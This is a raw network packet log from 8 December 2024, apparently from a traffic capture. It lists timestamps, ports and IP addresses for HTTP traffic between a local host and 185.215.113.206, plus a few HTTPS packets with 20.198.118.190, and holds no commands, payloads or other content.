Dec 8, 2024 15:38:41.584436893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.584480047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.585501909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.585549116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.585634947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.585680008 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.586920023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.586967945 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.586998940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.587039948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.588057995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.588112116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.588120937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.588157892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.589040041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.589085102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.589181900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.589229107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.589850903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.589895010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.590028048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.590073109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.591095924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.591137886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.591327906 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.591368914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.592097998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.592143059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.592438936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.592492104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.593264103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.593311071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.593350887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.593396902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.594530106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.594578981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.594671011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.594715118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.595882893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.595928907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.595963001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.596021891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.596918106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.596963882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.597130060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.597174883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.597985029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.598033905 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.598108053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.598153114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.599024057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.599067926 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.599132061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.599174023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.600183964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.600229979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.600316048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.600366116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.601459026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.601506948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.601566076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.601608038 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.602555990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.602600098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.602634907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.602680922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.603698015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.603743076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.603759050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.603790045 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.604604006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.604645967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.639792919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.758981943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.937490940 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.937783003 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.937848091 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.938030005 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.938050985 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.938060045 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:42.056443930 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:42.056529999 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:42.056588888 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:42.056812048 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:42.056823015 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:42.076150894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.076225042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.076282978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.076328993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.076772928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.076827049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.076848030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.076888084 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.077955961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.078016043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.078027010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.078073978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.079072952 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.079127073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.079185963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.079232931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.080128908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.080178976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.080260038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.080312014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.081233025 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.081284046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.081360102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.081427097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.082405090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.082458973 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.082535028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.082583904 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.083575010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.083715916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.083781004 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.084809065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.084863901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.084907055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.084959030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.085762024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.085819006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.085889101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.085938931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.086895943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.086951971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.086992025 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.087037086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.088056087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.088109970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.088161945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.088208914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.089205027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.089257956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.089329958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.089375019 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.090312004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.090368032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.090429068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.090476036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.091458082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.091512918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.091556072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.091593981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.092632055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.092693090 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.092844963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.092891932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.093744040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.093796968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.093803883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.093837023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.094883919 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.094934940 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.094990969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.095031977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.096040010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.096095085 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.096096039 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.096136093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.097151995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.097215891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.097227097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.097260952 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.098288059 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.098335028 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.098373890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.098422050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.099457979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.099504948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.099642038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.099688053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.100538969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.100590944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.100722075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.100768089 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.101706982 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.101758003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.101794004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.101836920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.102830887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.102883101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.102950096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.102996111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.103984118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.104032040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.104105949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.104152918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.105133057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.105178118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.105277061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.105324030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.106374025 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.106420994 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.106498003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.106540918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.107646942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.107696056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.107728958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.107779980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.108571053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.108619928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.108695984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.108740091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.109719038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.109777927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.109797001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.109838963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.110784054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.110832930 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.110881090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.110928059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.111973047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.112025023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.112055063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.112096071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.113078117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.113135099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.113219023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.113269091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.114203930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.114250898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.114320040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.114360094 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.115331888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.115382910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.115401030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.115439892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.116507053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.116552114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.116622925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.116672039 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.117702007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.117757082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.117815018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.117862940 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.118757963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.118817091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.118853092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.118900061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.119947910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.120013952 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.120043993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.120093107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.121032000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.121082067 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.121139050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.121189117 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.122241974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.122292042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.122327089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.122370958 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.123346090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.123394966 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.123425007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.123477936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.124469995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.124527931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.124547958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.124586105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.125621080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.125679016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.125762939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.125813007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.127142906 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.127199888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.127353907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.127403975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.128585100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.128624916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.128648996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.128669024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.129630089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.129645109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.129707098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.130940914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.131001949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.131087065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.131135941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.132250071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.132309914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.132375002 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.132422924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.133058071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.133114100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.133142948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.133189917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.133850098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.133905888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.134192944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.134267092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.134845018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.134896040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.134932995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.134977102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.135879993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.135932922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.135983944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.136029959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.137053013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.137104034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.137550116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.137599945 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.138063908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.138113976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.268465042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.268524885 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.268553019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.268599033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.269448042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.269500017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.269520044 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.269563913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.270106077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.270153046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.270354033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.270407915 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.271156073 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.271189928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.271203041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.271244049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.272316933 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.272366047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.272424936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.272466898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.273509026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.273578882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.273698092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.273740053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.274651051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.274705887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.274732113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.274780035 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.275780916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.275839090 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.275953054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.276007891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.276938915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.276988983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.277043104 CET	80	49787	185.215.113.206	192.168.2.6
